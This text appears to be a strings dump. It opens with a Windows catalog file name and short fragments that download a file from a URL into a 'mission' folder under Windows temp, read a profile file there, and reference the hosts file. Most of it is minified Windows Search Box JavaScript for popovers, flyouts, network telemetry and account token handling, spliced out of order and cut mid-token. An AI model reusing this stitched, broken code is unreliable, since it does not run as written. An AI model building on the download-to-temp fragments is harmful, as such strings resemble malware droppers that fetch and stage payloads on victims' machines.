Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
get($url1+'/'+$file1).save_as('c:\windows\temp\mission\
file.open('c:/windows/temp/mission/profile.txt','r')do
%windir%\system32\drivers\etc\hosts
%windir%\system32\drivers\etc\hosts
%windir%\system32\drivers\etc\hosts
%windir%\system32\drivers\etc\hosts
%windir%\system32\drivers\etc\hosts
:systemroot\system32
t[r,o]=this.getElementOffsetFromRoot(i);r+=i.offsetWidth/2;this.showPopoverAt(r,o,u,e)}}isPopoverVisible(){return!!this._text&&this._finishedOpening}dismiss(t,i){this.clearDismissTimer();this._text&&(this._text=null,this._buttons=[],this._className="",n.StaticHtmlElements.popoverContainer.firstChild.blur(),this._selectedItem&&(this._selectedItem.selected=!1,this._selectedItem=null),this._page.updatePopoverView(this.getDataModel(i)),n.StaticHtmlElements.popoverContainer.classList.remove(r),n.setVisibility(n.StaticHtmlElements.popoverContainer,!1),n.StaticHtmlElements.popoverContainer.style.top=null,n.StaticHtmlElements.popoverContainer.style.width=null,n.StaticHtmlElements.popoverContainer.style.bottom=null,n.StaticHtmlElements.popoverContainer.style.left=null);this._parentElement&&(sj_ue(this._parentElement,"mouseleave",this.onMouseLeavesParent),t&&(this._parentElement.focus(),this._returnFocusToSearchBox&&n.Host.setFocusInSearchBox(null,"popoverDismissed")));this._parentElement=null}getSelectableItems(){return this._buttons||[]}getSelectableItemsByGroup(){return[]}getSelectedItem(){return this._selectedItem}select(n,t,i){if(this._selectedItem){let n=_ge(this._selectedItem.id);n&&n.blur();this._selectedItem.selected=!1}if(this._selectedItem=n,this._selectedItem){let n=_ge(this._selectedItem.id);n&&n.focus();this._selectedItem.selected=!0}this._page.updatePopoverView(this.getDataModel(i))}submit(t){if(t.action){let i=n.getCurrentTime();if(t.instItem){n.InstrumentationHelper.instrumentItemClick(i,t.instItem,t.sequenceNumber,null,2,null);let r=this.getSelectableItems();for(let t of r){let i=t;i.instItem&&n.InstrumentationHelper.instrumentSyntheticInstrumentedItem(i.sequenceNumber,i.instItem.getQsCode(),i.instItem)}}t.action()}}onAfterKeyDown(t){if(t=n.getRtlAdjustedKey(t),t==39||t==37){let n=this.getSelectableItems();if(n.length>0){let r=this.getSelectedItem(),i=n.indexOf(r);i+=t==39?1:-1;i<0?this.select(n[n.length-1],!1):this.select(n[i%n.length],!1)}return!0}return t==13}onItemClick(n,t){t.button==0&&this.submit(n)}onMouseLeavesParent(){this.waitForEnterBeforeDismiss()}waitForEnterBeforeDismiss(){this.clearDismissTimer();this._dismissTimer=n.safeSetTimeout(()=>{this._dismissTimer=null,!this._parentElement||this._parentElement.matches(":hover")||n.StaticHtmlElements.popoverContainer.matches(":hover")||this.dismiss()},100,"waitForDismiss")}clearDismissTimer(){this._dismissTimer&&(sb_ct(this._dismissTimer),this._dismissTimer=null)}getDataModel(n){return{text:this._text,items:this._buttons,clickHandler:(n,t)=>this.onItemClick(n,t),className:this._className,isSideBeak:n}}showPopoverAtSide(r,u){if(this._text){const f=n.StaticHtmlElements.popoverContainer;let e=f.offsetWidth+1,o=n.StaticHtmlElements.root.offsetWidth-2*i;e>o&&(e=o);let s=r,h=u-t;s+=t*2;f.style.width=e+"px";f.style.left=`${s}px`;f.style.top=`${h}px`;let c=_qs(".popover .beak.sidebeak",n.StaticHtmlElements.popoverContainer);c.style.top=`${t*4}px`;this._finishedOpening=!0}}showPopoverAtTop(r,u){if(this._text){const o=n.StaticHtmlElements.popoverContainer;let f=o.offsetWidth+1,s=n.StaticHtmlElements.root.offsetWidth-2*i;f>s&&(f=s);let e=0,h=n.StaticHtmlElements.root.offsetHeight-u;r-=f/2;h+=t;r<i?e=i-r:r+f>n.StaticHtmlElements.root.offsetWidth-i&&(e=n.StaticHtmlElements.root.offsetWidth-i-(r+f));o.style.width=f+"px";o.style.left=`${r+e}px`;o.style.bottom=`${h}px`;e<f/-2+t?e=f/-2+t:e>f/2-t&&(e=f/2-t);let c=_qs(".popover .beak",n.StaticHtmlElements.popoverContainer);c.style.left=`calc(50% - ${e}px`;this._finishedOpening=!0}}showPopoverAt(t,i,u,f){n.setVisibility(n.StaticHtmlElements.popoverContainer,!0);let o=this.getDataModel(f);this._page.updatePopoverView(o);const e="renderPopover";n.safeSetTimeout(()=>{if(f?this.showPopoverAtSide(t,i):this.showPopoverAtTop(t,i),n.StaticHtmlElements.popoverContainer.classList.add(r),u&&this._buttons&&this._buttons.length!=0)this.select(this.getSelectableItems()[0],!1,f);else{let t=n.StaticHtmlElements.popoverContainer.firstElementChild;t.focus()}n.Host.setFocusInWebView(e)},0,e)}}n.PopoverFactory=u}(WSB||(WSB={})),function(n){functi=null,buttonClickHandler:(t,i)=>{this.buttonClickHandler(t,i),this._controller.instrumentClientEvent("FlyoutSubmit",{id:this.stepHasProperty("id")?n.id:this.id},"WindowsTelemetry")},showButtonMessage:this.showButtonMessage,buttonMessage:this.buttonMessage,buttonIcon:this.buttonIcon,dismissMessage:this.dismissMessage,dismissClickHandler:()=>{this.dismiss(),this._controller.instrumentClientEvent("FlyoutDismiss",{id:this.stepHasProperty("id")?n.id:this.id},"WindowsTelemetry")},id:this.stepHasProperty("id")?n.id:this.id,overlay:this._overlay,isLinkText:this._isLinkText}}setClass(n){return this.flyoutClass=n,this}isValid(){return this.steps.length>0&&(!isNaN(this.left)||!isNaN(this.right))&&(!isNaN(this.top)||!isNaN(this.bottom))||!!(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.isTest)}dismiss(){return this._controller.dismissFlyout(this.id),this}shouldBeShown(){let t=this._controller.getLastTimeShown(this.id),i=this._controller.getTimesShown(this.id);return(t==0||t+this.dismissIntervalMs<=n.getCurrentTime())&&i<this.repeatMax}hide(){return this.currentStep=0,this._controller.hideFlyout(this.id),this}nextStep(){this.currentStep=Math.min(this.currentStep+1,this.steps.length-1);this.show()}stepHasProperty(n){return n in this.steps[this.currentStep]}}class i{constructor(n){this._page=n;this.lastShownKey=n=>`flyout-last-shown-${n}`;this.timesShownKey=n=>`flyout-times-shown-${n}`}createFlyout(n){return new t(n,this)}showFlyout(n){const t=this.currentFlyout&&this.currentFlyout.id!=n.id;if(t&&(this.currentFlyout=n),this.currentFlyout=n,this.shouldShow(this.currentFlyout)){const t=n.dataModel();t&&(this._page.renderFlyoutAreaView(t),this.instrumentClientEvent("FlyoutShow",{id:this.currentFlyout.id},"WindowsTelemetry"))}}hideFlyout(t=null){t&&this.currentFlyout&&t!==this.currentFlyout.id||(this.currentFlyout&&this.currentFlyout.hasOverlay()&&(this._page.hideOverlayAreaView(),n.StaticHtmlElements.root.classList.remove("overlayEnabled")),this.currentFlyout=null,this._page.hideFlyoutAreaView())}dismissFlyout(t){t&&this.currentFlyout&&t!==this.currentFlyout.id||(this.hideFlyout(t),n.LightweightStorage.setItem(this.lastShownKey(t),n.getCurrentTime().toString()),n.LightweightStorage.setItem(this.timesShownKey(t),(this.getTimesShown(t)+1).toString()))}wasDismissed(t){return!!n.LightweightStorage.getItem(this.lastShownKey(t))}shouldShow(n){return n.shouldBeShown()}getLastTimeShown(t){const i=parseInt(n.LightweightStorage.getItem(this.lastShownKey(t)));return i?i:0}getTimesShown(t){const i=parseInt(n.LightweightStorage.getItem(this.timesShownKey(t)));return i?i:0}onQueryChange(n){this.currentFlyout&&!this.currentFlyout.isSticky()&&this.queryOnActivation&&n.fullPartialQuery!=this.queryOnActivation.fullPartialQuery&&this.currentFlyout.hide()}setQuery(n){this.queryOnActivation=n}instrumentClientEvent(t,i={},r){n.InstrumentationHelper!=null&&n.InstrumentationHelper.logClientInstEvent("Select",t,n.SequenceNumberManager.getSequenceNumber(),i,r,33554432)}}n.FlyoutController=i}(WSB||(WSB={})),function(n){const r="show",i=10,t=7;class u{constructor(t){this._page=t;n.Host.bindKeyEscape(n=>{this.isPopoverVisible()&&(n.handled=!0,this.dismiss(!0))});n.Host.bindShown(()=>{this.dismiss(!1)});sj_be(n.StaticHtmlElements.popoverContainer,"mouseenter",()=>{this.clearDismissTimer()});sj_be(n.StaticHtmlElements.popoverContainer,"mouseleave",()=>{this.waitForEnterBeforeDismiss()});this.onMouseLeavesParent=this.onMouseLeavesParent.bind(this)}getElementOffsetFromRoot(t){let r=0,i=0;while(t&&t!=n.StaticHtmlElements.root)r+=t.offsetLeft,i+=t.offsetTop-t.scrollTop,t=t.offsetParent;if(n.canShowAnaheimWin11ZITopSites()||n.canShowBingPopularQueries()){let n=this._page.getScrollTop();i-=n}return[r,i]}showPopover(n,t,i,r,u,f,e){if(this._parentElement){if(this._parentElement==i){this.clearDismissTimer();return}this.dismiss(e)}if(this._returnFocusToSearchBox=r,this._finishedOpening=!1,this._parentElement=i,sj_be(this._parentElement,"mouseleave",this.onMouseLeavesParent),n){this._text=n;this._buttons=t;this._className=f||"";leth!==0){if(y())for(let n=0;n<t.length;n++){const r=t[n].url,i=window.performance.getEntriesByName(r);s[n]>=0&&i&&i[0]&&(s[n]=i[0].duration)}const i=vt(s,a,v,w,b,t),e=JSON.stringify(i),u=[];for(let n=0;n<f.length;n++){const t=f[n]+e;u.push(t)}r(u,0,n,()=>{try{o&&o(i)}catch(n){}})}};setTimeout(()=>{l(0)},u)}const u=1,f=2,e=u|f,o=8,s=16,t=o|s,p=e|t,h=128,c=256,w=h|c,b=e|w,k="http://",l=200,d="trans.gif",g="/apc/",a=5e3,v="trans.gif",nt="100k.gif",tt=822.128,it=1e3,n="GET",rt="POST",ut=-1,ft="20190506",et="x-userhostaddress",ot="x-endpoint",st="x-frontend",ht="x-machinename";return{start:ct}})()})(t=n.AFDFootprintV2||(n.AFDFootprintV2={}))}(WSB||(WSB={})),function(n){class t{constructor(n,t){this.id=n;this._controller=t;this.flyoutMaxHeight=170;this.slackSize=10;this.currentStep=0;this.steps=[];this.dismissIntervalMs=0;this.repeatMax=1}addMessage(n,t=null,i,r,u){let f={message:n,title:t};return i&&(f=Object.assign(Object.assign({},f),this.getPositions(i))),r&&(f.id=r),u&&(f.iconKey=u),this.steps.push(f),this}button(n,t,i,r){return this.buttonMessage=n,this.buttonIcon={content:r,type:2},this.buttonClickHandler=i==1?(n,i)=>{this.hide(),t(n,i)}:(n,i)=>{this.dismiss(),t(n,i)},this}showButton(n){return this.showButtonMessage=n,this}icon(n){return this._icon=n,this}overlay(n){return this._overlay=n,this}hasOverlay(){return this._overlay}isLinkTextButton(n){return this._isLinkText=n,this}getPositions(t,i){var f,e,o,s,h,c,l,a;const it=n.RuntimeConfig.QfMode===0||n.RuntimeConfig.QfMode===4||n.RuntimeConfig.QfMode===11;let v=it?336:400,y=152;const k=(e=(f=n.StaticHtmlElements.root)===null||f===void 0?void 0:f.scrollHeight)!==null&&e!==void 0?e:document.body.scrollHeight,d=(s=(o=n.StaticHtmlElements.root)===null||o===void 0?void 0:o.scrollWidth)!==null&&s!==void 0?s:document.body.scrollWidth,r=t.getBoundingClientRect();if(!i){const n=r.bottom>k-this.flyoutMaxHeight;i=n?"Top":"Bottom"}let g,u,p,nt,w;const tt=r.top+r.height/2,b=(c=(h=n.StaticHtmlElements.root)===null||h===void 0?void 0:h.getBoundingClientRect().top)!==null&&c!==void 0?c:0;switch(i){case"Top":g=k-r.top+this.slackSize;break;case"Bottom":u=r.bottom+this.slackSize-b;break;case"Left":u=Math.max(Math.min(tt-y/2-b,d-y),4);break;default:return null}switch(i){case"Top":case"Bottom":const t=r.left+r.width/2;p=Math.max(Math.min(t-v/2,d-v),this.slackSize);w=Math.max(Math.min(t-p-this.slackSize,v-this.slackSize),this.slackSize);break;case"Left":const i=(a=(l=n.StaticHtmlElements.root)===null||l===void 0?void 0:l.getBoundingClientRect().right)!==null&&a!==void 0?a:0;nt=i-r.left+this.slackSize;w=Math.max(Math.min(tt-u-b-this.slackSize,y-this.slackSize),this.slackSize)}return{position:i,top:u,bottom:g,left:p,right:nt,beakOffset:w}}target(n,t){if(!n)return this;const i=this.getPositions(n,t);return this.position=i.position,this.bottom=i.bottom,this.top=i.top,this.beakOffset=i.beakOffset,this.left=i.left,this.right=i.right,this}setSticky(){return this.sticky=!0,this}isSticky(){return this.sticky}show(){return(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.isTest)&&!(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.showFlyoutInTests)||this._controller.showFlyout(this),this}dismissible(n,t){return this.dismissIntervalMs=n,this.dismissMessage=t,this}repeat(n){return this.repeatMax=n,this}dataModel(){if(!this.isValid())return null;const n=this.steps[this.currentStep],{message:t,title:i}=n;return{title:i,message:t,flyoutClass:this.flyoutClass,left:this.stepHasProperty("left")?n.left:this.left,right:this.stepHasProperty("right")?n.right:this.right,top:this.stepHasProperty("top")?n.top:this.top,bottom:this.stepHasProperty("bottom")?n.bottom:this.bottom,beakOffset:this.stepHasProperty("beakOffset")?n.beakOffset:this.beakOffset,nextStep:()=>this.nextStep(),nbSteps:this.steps.length,currentStep:this.currentStep,position:this.stepHasProperty("position")?n.position:this.position,iconKey:this.stepHasProperty("iconKey")?n.iconKey:this._icon,showDismissButton:this.dismissIntervalMs!=null&&this.dismissMessage!,s={},h){try{if(!t||t.trim().length===0||Number(f)!==f||f%1!=0||f<0)return;const v=o.trim().length>0,p=e.trim().length>0;p&&e.trim().length>l&&(e=e.trim().substr(0,l));var c=window.location.protocol=="file:"?"https://":window.location.protocol+"//";if(!JSON||!XMLHttpRequest)return;if(window.XMLHttpRequest){const n=new XMLHttpRequest;if(!("onload"in n)||!("onerror"in n)||!("ontimeout"in n)||!("getAllResponseHeaders"in n))return}else return;const b=y(),k=i(),g=`MonitorID=${t}${v?`&customerId=${o}`:""}&rid=${k}&w3c=${b}&prot=${window.location.protocol}&v=${ft}${p?`&tag=${e}`:""}&DATA=`,w=()=>{const n=lt(fpconfig,c);if(n.length!==0){const i=at(n,c,d,s),t=[];for(let n of fpconfig.r)t.push(c+n+"?"+g);pt(i,a,f,t,null,h)}};if(typeof fpconfig=="undefined"){for(let n in u)u[n]=c+u[n]+"?"+`monitorId=${t}${v?`&customerId=${o}`:""}`;const i=n=>{try{fpconfig=JSON.parse(n.responseText);w()}catch(t){}};r(u,0,n,i)}else w()}catch(v){}}function r(t,i,u,f){if(!(i>=t.length)){u!==n&&u!==rt&&(u=n);const o=()=>{r(t,i+1,u,f)},e=new XMLHttpRequest;e.open(u,t[i],!0);e.onload=()=>{e.readyState===4&&e.status===200?f!=null&&f(e):o()};e.onerror=o;e.timeout=a;e.ontimeout=o;e.send()}}function lt(n,r){const e=[];let l=0;const p=b|t;for(let t of n.e)t.w>0&&t.m&p&&(l+=t.w,e.push({endpoint:t.e,cumWeight:l,weight:t.w,measurementTypes:t.m}));const a=r.toLowerCase()===k?[f,s,c]:[u,o,h],w=[v,nt,v],d=[1,3,2],y=[],g=Math.min(n.n,e.length);for(let n=0;n<g;n++){const t=Math.floor(Math.random()*l);let n=null;for(let i=0;i<e.length;i++)n==null?t<e[i].cumWeight&&(n=e[i],e[i].cumWeight=0):e[i].cumWeight-=n.weight;l-=n.weight;const r=n.endpoint.charAt(0)==="*"?i():"";for(let t=0;t<a.length;t++)n.measurementTypes&a[t]&&y.push({id:n.endpoint,testImage:w[t],measurementType:a[t],guid:r,rank:d[t]})}return y.sort((n,t)=>n.rank-t.rank),y}function at(n,r,u,f={}){const e=[];for(let o of n){const h=o.measurementType,c=o.testImage,l=o.guid;let n=o.id,s=r+(f&&f[n]||n);if(n.indexOf(".")===-1)s+=".clo.footprintdns.com";else if(n.charAt(0)==="*"){const t=n.substring(2);s=r+l+"."+t;n=t==="clo.footprintdns.com"||t==="fp.measure.office.com"||t==="azr.footprintdns.com"?l:t}s+=g;const a=s+u+"?"+i(),v=(h&t)!==h;e.push({url:a,requestID:n,object:u,conn:"cold",measurementType:h,report:v});const y=s+c+"?"+i();e.push({url:y,requestID:n,object:c,conn:"warm",measurementType:h,report:!0})}return e}function vt(n,t,i,r,u,f){const e=[];for(let o=0;o<f.length;o++)if(f[o].report){const c=n[o],h=f[o].measurementType,l=yt(c,h),s={};s.RequestID=f[o].requestID;s.Object=f[o].object;s.Conn=f[o].conn;s.Result=l;s.T=h;t[o]&&(s.Rip=t[o]);i[o]&&(s.Ep=i[o]);r[o]&&(s.Fe=r[o]);u[o]&&(s.Mn=u[o]);e.push(s)}return e}function yt(n,i){if(n<=0)return n;if(i&t&&n>0){const t=tt/(n/it);return Math.round(t)}return Math.round(n)}function i(){function n(){return Math.floor((1+Math.random())*65536).toString(16).substring(1)}return n()+n()+n()+n()+n()+n()+n()+n()}function y(){return window.performance&&window.performance.getEntriesByName?!0:!1}function pt(t,i,u,f,e,o){function c(n){t[n].conn==="cold"?(t[n+1].report=!1,l(n+2)):l(n+1)}function k(n){let r;const u=new Image;u.onload=()=>{s[n]=(new Date).getTime()-f,r&&clearTimeout(r),l(n+1)};u.onerror=()=>{r&&clearTimeout(r),c(n)};r=setTimeout(()=>{u.onload=null,u.onerror=null,c(n)},i);let f=(new Date).getTime();u.src=t[n].url}function d(r){try{const u=new XMLHttpRequest;u.open(n,t[r].url,!0);u.onload=()=>{try{if(u.readyState===4)if(u.status===200){s[r]=(new Date).getTime()-f;const n=u.getAllResponseHeaders();if(n){const t=n.split("\r\n");t.forEach(function(n){var t=n.substring(0,n.indexOf(":")).toLowerCase(),i=n.substring(n.indexOf(":")+1);t===et?a[r]=i:t===ot?v[r]=i:t===st?w[r]=i:t===ht&&(b[r]=i)})}l(r+1)}else s[r]=0-u.status,c(r);else c(r)}catch(n){}};u.onerror=()=>{c(r)};u.ontimeout=()=>{c(r)};u.timeout=i;const f=(new Date).getTime();u.send()}catch(u){}}function l(n){try{n<t.length?t[n].measurementType&p?k(n):d(n):(g(),e!=null&&e())}catch(i){}}const s=[],a=[],v=[],w=[],b=[];for(var h=0;h<t.length;h++)s[h]=ut,a[h]=null,v[h]=null,w[h]=null,b[h]=null;const g=()=>{if(f!=null&&f.lengelper.logEvent(h.EventType,h.Data,n.InstrumentationCommon.QFPERFPING_EVENT_NAME,null,null,h.ImpressionGuid,null,null,null,"WindowsTelemetry",16777216)})}promptAutheticateDialog(t,i,r,u){const f=f=>{let e=!!f;t==1?n.isSubstrateO365AccountConnected=e:n.isSubstrateOutlookAccountConnected=e;e?(r(),this._accessTokenAvailableHandlers.forEach(r=>n.safeExecute(()=>r(t,i,2),"promptAccessTokenAvailable",null,`${t}`))):(u(),this._verifyAccountRequired.forEach(r=>n.safeExecute(()=>r(t,i,2),"promptAccessTokenAvailable",null,`${t}`)))};this.getAccount(t,i,!1,!1,f,undefined)}}t._windowsAccountType=0;n.AccessTokenManager=t}(WSB||(WSB={})),function(n){const r="cohortProfile",u="WSBFirstOpenedDate",f=/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}.\d{3}Z$/,i=29;class t{static getSingleton(){return t._singleton||SharedLogHelper.LogError("cohortProfileManager.getSingleton()",null,"CohortProfileManager._singleton should be initialized first!"),t._singleton}static initSingleton(){return t._singleton||(t._singleton=new t),t._singleton}constructor(){this._cohortProfile=[];n.Host.bindShown(()=>{this.deserializeCohortProfile(),this.updateCohortProfileBasedOnWSBOpenedDate(),this.determineWSBNewUser()});n.Host.bindDismissed(()=>{this.serializeCohortProfile()})}serializeCohortProfile(){n.LightweightStorage.setItem(r,JSON.stringify(this._cohortProfile));n.LightweightStorage.setItem(u,JSON.stringify(this._WSBFirstOpenedDate))}deserializeCohortProfile(){let t=n.LightweightStorage.getItem(r);t&&(this._cohortProfile=n.safeExecute(()=>JSON.parse(t,this.reviver),"cohortProfile",null));let i=n.LightweightStorage.getItem(u);i&&(this._WSBFirstOpenedDate=n.safeExecute(()=>JSON.parse(i,this.reviver),"firstOpen",null))}reviver(n,t){return typeof t=="string"&&f.test(t)?new Date(t):t}createCohortProfile(){this._cohortProfile=[];for(let n=0;n<30;n++)this._cohortProfile.push({date:null,count:0});let n=new Date;this._cohortProfile[i].date=this.getCurrentDate(n);this._cohortProfile[i].count=1}recordWSBFirstOpenedDate(){for(let n=0;n<30;n++)this._cohortProfile[n].date&&(!this._WSBFirstOpenedDate||this._cohortProfile[n].date<this._WSBFirstOpenedDate)&&(this._WSBFirstOpenedDate=this._cohortProfile[n].date)}updateCohortProfileBasedOnWSBOpenedDate(){if(this._cohortProfile.length==0)this.createCohortProfile(),this.recordWSBFirstOpenedDate();else{this._WSBFirstOpenedDate||this.recordWSBFirstOpenedDate();let t=this.getWSBLastOpenedDate(),r=new Date,n=this.getCurrentDate(r);if(t.getTime()===n.getTime())this._cohortProfile[i].count+=1;else{let r=this.getDaysBetween(t,n);if(r>30)this.createCohortProfile();else{let t=[];for(let n=0;n<30;n++)t.push({date:this._cohortProfile[n].date,count:this._cohortProfile[n].count});for(let n=r;n<30;n++)this._cohortProfile[n-r]=t[n];for(let t=0,n=30-r;t<r;t++,n++)this._cohortProfile[n].date=null,this._cohortProfile[n].count=0;this._cohortProfile[i].date=n;this._cohortProfile[i].count=1}}}}getCurrentDate(n){return new Date(n.getFullYear(),n.getMonth(),n.getDate())}getDaysBetween(n,t){var i=n.getTime(),r=t.getTime(),u=r-i;return Math.round(u/864e5)}determineWSBNewUser(){this._isWSBNewUser=!1;let n=7,t=0;for(let i=30-n;i<30-t;i++)this._WSBFirstOpenedDate!=null&&this._cohortProfile[i].date!=null&&this._WSBFirstOpenedDate.getTime()===this._cohortProfile[i].date.getTime()&&(this._isWSBNewUser=!0)}isWSBNewUser(){return this._isWSBNewUser}getWSBFirstOpenedDate(){return this._WSBFirstOpenedDate}getWSBLastOpenedDate(){return this._cohortProfile[i].date}getTimesOfWSBOpenedInLastNDays(n){if(n>30)return-1;let t=0;for(let i=30-n;i<30;i++)t+=this._cohortProfile[i].count;return t}resetCohortProfileManager(){t._singleton=null;this._cohortProfile=[];this._WSBFirstOpenedDate=null}resetWSBFirstOpenedDate(){this._WSBFirstOpenedDate=null}}n.CohortProfileManager=t}(WSB||(WSB={})),function(n){var t;(function(t){function i(){n.Host.bindAppHidden(()=>{SearchAppWrapper.CortanaApp.isBingEnabled&&n.isBrowserOnline()&&n.safeExecute(()=>r.start("asgw",["fp.msedge.net/conf/v2/asgw/fpconfig.min.json"],2e3),"AFDFootprint.start",null,null)})}t.init=i;var r=(()=>{function ct(t,u,f,e="",o=""{this._reconnectAadReportHandlers.forEach(t=>t(n))}tryConnect(t,i,r){let f=t==1?n.isSubstrateO365AccountConnected:n.isSubstrateOutlookAccountConnected;if(!f){const u=n.getSubstrateResourceOrScope(t);this.getAccount(t,u,!1,!0,i=>{let f=!!i;t==1?n.isSubstrateO365AccountConnected=f:n.isSubstrateOutlookAccountConnected=f;f?this._accessTokenAvailableHandlers.forEach(i=>n.safeExecute(()=>i(t,u,r),"accessTokenAvailable",null,`${t}`)):this._verifyAccountRequired.forEach(i=>n.safeExecute(()=>i(t,u,r),"accessTokenAvailable",null,`${t}`))},i)}}updateWindowsAccountType(t){let e=!1,f=!1;for(let u of t)switch(u.accountProviderAuthority){case i:e=n.isCloudSearchEnabledMsaCache;break;case r:f=n.isCloudSearchEnabledAadCache}let u=3;if(n.config.userProfileButtonEnabled){let n=this.getSelectedAccountInfo();n&&(u=this.getAccountType(n))}else!f||!n.isMsbEnterprise()||(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.isTest)?e&&f?u=4:f?u=1:e&&(u=2):u=1;this.setWindowsAccountType(u)}connectAccounts(t,u){n.isSubstrateO365AccountConnected=!1;n.isSubstrateOutlookAccountConnected=!1;for(let f of t)f.accountProviderAuthority==i&&n.isCloudSearchEnabledMsaCache?this.tryConnect(0,f,u):f.accountProviderAuthority==r&&n.isCloudSearchEnabledAadCache&&this.tryConnect(1,f,u)}accountTypeToAuthType(n){switch(n){case 2:return 0;case 1:return 1;default:throw new Error(`Not a logged in account: ${n}`);}}enumerateAccountAuthority(u){n.Async.safeChain("enumerateAccountAuthorityAsync",()=>SearchAppWrapper.CortanaApp.authenticationManager.enumerateAccountAuthorityAsync(),f=>{var e=t.getWindowsAccountType();if(e==0){let u=3;switch(f.Windows){case i:u=2;break;case r:u=1}if(this.setWindowsAccountType(u),e=t.getWindowsAccountType(),e!=3){let i=this.accountTypeToAuthType(e);this.getAccount(i,n.getBingResourceOrScope(i),!1,!0,n=>{let i=n&&n.UserName?n.UserName:"";t.internalSetWindowsIdentity(i)},undefined)}}n.substrateProvidersEnabled()&&(n.isCloudSearchEnabledAadCache&&e==1?this.tryConnect(1,null,1):n.isCloudSearchEnabledMsaCache&&e==2&&this.tryConnect(0,null,1));u()})}enumerateMultiAccountAuthority(u){if(!SearchAppWrapper.CortanaApp.authenticationManager.getAllSearchWebAccountsAsync){this.enumerateAccountAuthority(u);return}let f;n.Async.safeChain("getAllSearchWebAccountsAsync",()=>(f=n.getCurrentTime(),SearchAppWrapper.CortanaApp.authenticationManager.getAllSearchWebAccountsAsync()),e=>{const c=n.getCurrentTime()-f,y=n.getCurrentTime();this.cacheAllAccounts(e);let o=[],l=this.getSelectedAccountId();if(this._availableMsaAccounts.length>0){let n=this._availableMsaAccounts.findIndex(n=>n.accountId==l),t=n>=0?n:Math.max(this._availableMsaAccounts.findIndex(n=>n.isDefaultAccount),0),i=this._availableMsaAccounts[t];o.push(i)}if(this._availableAadAccounts.length>0){let n=this._availableAadAccounts.findIndex(n=>n.accountId==l),t=n>=0?n:Math.max(this._availableAadAccounts.findIndex(n=>n.isDefaultAccount),0),i=this._availableAadAccounts[t];o.push(i)}if(!n.config.userProfileButtonEnabled)for(let n of o)this.cacheAccount(n);const p=t.getWindowsAccountType();if(this.updateWindowsAccountType(o),n.config.msbEnableAccountManager&&this.fireAccountsEnumeratedBeforeConnect(),t.getWindowsAccountType()!=p){const u=(i,r)=>{this.getAccount(i,n.getBingResourceOrScope(i),!1,!0,n=>{let i=n&&n.UserName?n.UserName:"";t.internalSetWindowsIdentity(i)},r)};for(let t of o)t.accountProviderAuthority==i&&n.isCloudSearchEnabledMsaCache?u(0,t):t.accountProviderAuthority==r&&n.isCloudSearchEnabledAadCache&&u(1,t)}(n.isCloudSearchEnabledAadCache||n.isCloudSearchEnabledMsaCache)&&n.substrateProvidersEnabled()&&this.connectAccounts(o,1);u();const s="WebAccounts";let a=_G.ServerIG;if(!a){n.LogWSBError("instrumentPerformance "+s,"Could not instrument as server IG not known",new Error("Could not instrument performance "+s));return}const v=n.getCurrentTime()-y;let w={AllSearchWebAccounts:c,AllSearchWebAccountsCallback:v};const b=[w];let h=n.InstrumentationCommon.createPerfPingEvent(a,b,s);n.InstrumentationHelper===null||n.InstrumentationHelper===void 0?void 0:n.InstrumentationHudSearchEnabledAadCache?this._availableAadAccounts:[]}getAccountType(n){const{accountProviderAuthority:t}=n;switch(t){case i:return 2;case r:return 1;default:return 3}}getAccountByUserName(t,i,r,u,f,e){let o,s=i==0?this._availableMsaAccounts:this._availableAadAccounts;if(s.length>0&&(o=s.find(n=>n.accountUserName.toLocaleLowerCase()==r.toLocaleLowerCase())),o){let r=t?n.getSubstrateResourceOrScope(i):n.getBingResourceOrScope(i);this.getAccount(i,r,u,f,e,o)}else e(null)}getAccountByUserNamePromise(n,t,i,r,u){return new Promise(f=>{this.getAccountByUserName(n,t,i,r,u,f)})}getAccount(n,t,i,r,u,f){if(!t)throw new Error("Resource or Scope has to be set");let o=n=>{let t=this._pendingCallbacks[e];this._pendingCallbacks[e]=null;t.forEach(t=>t(n))};if(!this.authTypeMatchesWindowsAccountType(n)){u(null,"AuthTypeMismatch");return}f||(f=this.getCachedAccountInfo(n));let e=t+i+r+(f?f.accountId:"");if(this._pendingCallbacks[e]){this._pendingCallbacks[e].push(u);return}this._pendingCallbacks[e]=[u];this.authenticate(n,t,i,r,o,f)}authenticate(t,i,r,e,o,s){let c=`${t}.${i}${s?"|"+s.accountId:""}`;if(e){const e=r?0:f,s=n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.noAuthCache;let i=s?null:this._tokenStore.findAccount(c,e);if(i){t==1&&(n.isMsftAccountConnected=i.RoutingHint&&i.RoutingHint.indexOf(u)>-1);o(i);return}}let h=n=>o(null,n);if(n.isBrowserOnline()){let r=SearchAppWrapper.CortanaApp.authenticationManager.createAuthenticateRequest();r.accountType="Windows";r.silentMode=e;t==1?r.resource=i:r.scope=i;let f=s&&SearchAppWrapper.CortanaApp.authenticationManager.authenticateSearchWebAccountAsync;const l=f?()=>SearchAppWrapper.CortanaApp.authenticationManager.authenticateSearchWebAccountAsync(r,s):()=>SearchAppWrapper.CortanaApp.authenticationManager.authenticateAsync(r);n.Async.safeChain("authenticateAsyncWAM",l,i=>{if(n.TestHookUrlParameters)if(e){if(n.TestHookUrlParameters.ssoAuthFail){h("MockedError");return}}else if(n.TestHookUrlParameters.uxAuthFail){h("MockedError");return}if(!i){n.log("WAM returned null");h("WamReturnsNull");return}if(i.token){const r=i.properties,f=r.UPN||i.userName,e=r.tid||r.TenantId,s=r.OID;if(!f){n.log("WAM didn't return UPN");h("WamReturnsNoUpn");return}let l;t==0?l=`MSA:${f}`:(n.isMsftAccountConnected=e==u,e&&s&&(l=`OID:${s}@${e}`));const a={Token:i.token,ExpireDateTime:r.exp?parseInt(r.exp)*1e3-3e5:null,TenantName:r.tenant_display_name||"",RoutingHint:l||f,UserName:f,TenantId:e,UserObjectId:s,UserFirstName:r.FirstName||""};t==0&&(a.ExpireDateTime=n.getCurrentTime()+n.HourToMs);this._tokenStore.setToken(a,c);const v=this._tokenStore.findAccount(c);o(v)}else{const 